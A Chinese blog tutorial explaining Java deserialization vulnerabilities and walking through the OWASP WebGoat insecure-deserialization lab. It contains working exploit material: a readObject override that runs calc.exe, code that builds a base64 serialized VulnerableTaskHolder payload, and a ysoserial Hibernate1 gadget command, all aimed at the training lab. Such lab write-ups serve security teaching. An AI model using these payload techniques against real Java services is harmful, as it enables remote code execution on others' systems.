java反序列化漏洞

JAVA反序列化漏洞原理

千言万语胜不过直接上代码,直接分析代码。

先来一个序列化反序列化的代码。

import java.io.*;

public class test implements Serializable {
    private void exec() throws Exception {
        String s = "hello";
        byte[] ObjectBytes=serialize(s);
        String after = (String) deserialize(ObjectBytes);
        System.out.println(after);
    }

    /*
     * 序列化对象到byte数组
     * */
    private byte[] serialize(final Object obj) throws IOException {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(obj);
        return out.toByteArray();
    }

    /*
     * 从byte数组中反序列化对象
     * */
    private Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
        ByteArrayInputStream in = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(in);
        return objIn.readObject();
    }
    public static void main(String[] args) throws Exception {
        new test().exec();
    }
}

代码的思路就是 把hello 先序列化 然后再进行反序列化 最后输出

运行结果就是:hello

这样看起来好像并没有什么问题。

整理一下序列化和反序列化的流程:

对象序列化包括如下步骤:

1) 创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流;
2) 通过对象输出流的writeObject()方法写对象。

对象反序列化的步骤如下:

1) 创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流;
2) 通过对象输入流的readObject()方法读取对象。

漏洞成因

简单来说,他反序列化后是不是要调用readObject函数,当程序代码书写不当时候,我们可以通过重写readObject方法 来执行我们的恶意代码。

本来他是要执行ObjectInputStream类的readObject,然后我们在序列化的类中自己写一个readObject函数 让他执行。

demo:

import java.io.*;

public class test {
    public static void main(String args[]) throws Exception{
        //序列化
        //定义myObj对象
        MyObject myObj = new MyObject();
        myObj.name = "hi";
        //创建一个包含对象进行反序列化信息的”object”数据文件
        ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("object"));
        //writeObject()方法将myObj对象写入object文件
        os.writeObject(myObj);
        os.close();

        //反序列化
        //从文件中反序列化obj对象
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object"));
        //恢复对象
        MyObject objectFromDisk = (MyObject)ois.readObject();
        System.out.println(objectFromDisk.name);
        ois.close();
    }

    static class MyObject implements Serializable {
        public String name;
        //重写readObject()方法
        private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
            //执行默认的readObject()方法
            in.defaultReadObject();
            //执行打开计算器程序命令
            Runtime.getRuntime().exec("calc.exe");
        }
    }
}

执行结果:

图片[1]-java反序列化漏洞-Drton1博客

可以看到成功执行我们的命令了,弹计算器。

这就是这个漏洞的基本原理。

至于现在常利用的java组件其实原理是这样但是利用链要构造一下:

(13条消息) JAVA反序列化漏洞原理分析_1A_的博客-CSDN博客_java反序列化漏洞原理

序列化标志

图片[2]-java反序列化漏洞-Drton1博客

WebGoat靶场

图片[3]-java反序列化漏洞-Drton1博客

先注册个号进入靶场:

图片[4]-java反序列化漏洞-Drton1博客

我们用idea打开源码 根据web路径找到目录进行审计。

package org.owasp.webgoat.deserialization;

import org.dummy.insecure.framework.VulnerableTaskHolder;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;

import java.io.*;
import java.util.Base64;

@RestController
@AssignmentHints({"insecure-deserialization.hints.1", "insecure-deserialization.hints.2", "insecure-deserialization.hints.3"})
public class InsecureDeserializationTask extends AssignmentEndpoint {

    @PostMapping("/InsecureDeserialization/task")
    @ResponseBody
    public AttackResult completed(@RequestParam String token) throws IOException {
        String b64token;
        long before;
        long after;
        int delay;

        b64token = token.replace('-', '+').replace('_', '/');

        try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {
            before = System.currentTimeMillis();
            Object o = ois.readObject();
            if (!(o instanceof VulnerableTaskHolder)) {
                if (o instanceof String) {
                    return failed(this).feedback("insecure-deserialization.stringobject").build();
                }
                return failed(this).feedback("insecure-deserialization.wrongobject").build();
            }
            after = System.currentTimeMillis();
        } catch (InvalidClassException e) {
            return failed(this).feedback("insecure-deserialization.invalidversion").build();
        } catch (IllegalArgumentException e) {
            return failed(this).feedback("insecure-deserialization.expired").build();
        } catch (Exception e) {
            return failed(this).feedback("insecure-deserialization.invalidversion").build();
        }

        delay = (int) (after - before);
        if (delay > 7000) {
            return failed(this).build();
        }
        if (delay < 3000) {
            return failed(this).build();
        }
        return success(this).build();
    }
}

可以看到先对我们传进的代码进行base64解码然后再反序列化。

可以看到大概就是对输入的token先base64解码然后输入到字节数组输入流中然后再接到对象输入流,并利用readObject进行反序列化操作得到对象o,然后判断该对象是否属于VulnerableTaskHolder类,如果不是则返回失败。如果是VulnerableTaskHolder类则继续往下走。所以我们应该就是重点关注VulnerableTaskHolder这个类,看看其是否重写了readobject方法

package org.dummy.insecure.framework;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

public class VulnerableTaskHolder implements Serializable {
    private static final Loggerlog= LoggerFactory.getLogger(VulnerableTaskHolder.class);
    private static final longserialVersionUID= 2L;
    private String taskName;
    private String taskAction;
    private LocalDateTime requestedExecutionTime;

    public VulnerableTaskHolder(String taskName, String taskAction) {
        this.taskName = taskName;
        this.taskAction = taskAction;
        this.requestedExecutionTime = LocalDateTime.now();
    }

    public String toString() {
        return "VulnerableTaskHolder [taskName=" + this.taskName + ", taskAction=" + this.taskAction + ", requestedExecutionTime=" + this.requestedExecutionTime + "]";
    }

    private void readObject(ObjectInputStream stream) throws Exception {
        stream.defaultReadObject();
log.info("restoring task: {}", this.taskName);
log.info("restoring time: {}", this.requestedExecutionTime);
        if (this.requestedExecutionTime != null && (this.requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10L)) || this.requestedExecutionTime.isAfter(LocalDateTime.now()))) {
log.debug(this.toString());
            throw new IllegalArgumentException("outdated");
        } else {
            if ((this.taskAction.startsWith("sleep") || this.taskAction.startsWith("ping")) && this.taskAction.length() < 22) {
log.info("about to execute: {}", this.taskAction);

                try {
                    Process p = Runtime.getRuntime().exec(this.taskAction);
                    BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
                    String line = null;

                    while((line = in.readLine()) != null) {
log.info(line);
                    }
                } catch (IOException var5) {
log.error("IO Exception", var5);
                }
            }

        }
    }
}

可以看到首先判断requestedExecutionTime变量值是否是当前时间,如果是当前时间则判断taskAction变量是否是以sleep或者ping开头且长度小于22,如果满足的话就将taskAction变量值传给Runtime.getRuntime().exec执行命令。这里的taskAction是我们可以控制的。

再看看这个类的有参构造器发现其会自动将this.requestedExecutionTime赋值为当前时间,太好了,那这个变量我们就不用管了,我们重点关注的是taskAction变量,taskName变量是啥都无所谓。

分析了类成员变量的作用后,现在我们就要构造payload了,如下所示 ,因为他会检查字符内容 必须为ping跟sleep所以 我们taskAction 字段要二选一。


package org.dummy.insecure.framework;
import java.io.*;
import java.time.LocalDateTime;
import java.util.Base64;

import lombok.extern.slf4j.Slf4j;

@Slf4j
public class VulnerableTaskHolder implements Serializable {

    private static final longserialVersionUID= 2;

    private String taskName;
    private String taskAction;
    private LocalDateTime requestedExecutionTime;

    public VulnerableTaskHolder(String taskName, String taskAction) {
        super();
        this.taskName = taskName;
        this.taskAction = taskAction;
        this.requestedExecutionTime = LocalDateTime.now();
    }

    @Override
    public String toString() {
        return "VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime="
                + requestedExecutionTime + "]";
    }

/**
     * Execute a task when de-serializing a saved or received object.
     *@authorstupid develop
     */
private void readObject( ObjectInputStream stream ) throws Exception {
        //unserialize data so taskName and taskAction are available
        stream.defaultReadObject();

        //do something with the data


        if (requestedExecutionTime!=null &&
                (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
                        || requestedExecutionTime.isAfter(LocalDateTime.now()))) {
            //do nothing is the time is not within 10 minutes after the object has been created

        }

        //condition is here to prevent you from destroying the goat altogether
        if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))
                && taskAction.length() < 22) {

            try {
                Process p = Runtime.getRuntime().exec(taskAction);
                BufferedReader in = new BufferedReader(
                        new InputStreamReader(p.getInputStream()));
                String line = null;
                while ((line = in.readLine()) != null) {

                }
            } catch (IOException e) {

            }
        }

    }
    // 重点如下,payload构造
    public static void main(String[] args) throws Exception {
        VulnerableTaskHolder vuln = new VulnerableTaskHolder("qwq","ping 127.0.0.1");
        ByteArrayOutputStream bOut = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(bOut);
        objOut.writeObject(vuln);
        String str = Base64.getEncoder().encodeToString(bOut.toByteArray());
        System.out.println(str);
        objOut.close();
    }

}
图片[5]-java反序列化漏洞-Drton1博客

把生成payload输入 ,完成。

使用工具ysoserial

图片[6]-java反序列化漏洞-Drton1博客

打开工具 看他支持的java插件 可以看到支持Hibernate插件

图片[7]-java反序列化漏洞-Drton1博客

可以看到webgoat用了这个插件。

图片[8]-java反序列化漏洞-Drton1博客

我们把该插件核心文件拿出来 放到工具目录下 构造payload。

利用ysoserial生成payload,执行以下命令

java -Dhibernate5 -cp hibernate-core-5.4.28.Final.jar;ysoserial.jar ysoserial.GeneratePayload Hibernate1 calc.exe > token.bin

生成token.bin 文件 我们再把该内容 进行base64加密:

import base64
 
filename = input("输入需要base64编码的文件名:")
s = open(filename, "rb").read() #文本默认模式读取文件内容rt
base64_str = base64.urlsafe_b64encode(s)
#文本默认模式写入文件内容wt
open("base64.txt", "wt",encoding="utf-8").write(base64_str.decode())

生成后 拿到payload 再次输入那个页面

然后就弹计算器了。

图片[9]-java反序列化漏洞-Drton1博客

© 版权声明
THE END
喜欢就支持一下吧
点赞6 分享
评论 抢沙发

请登录后发表评论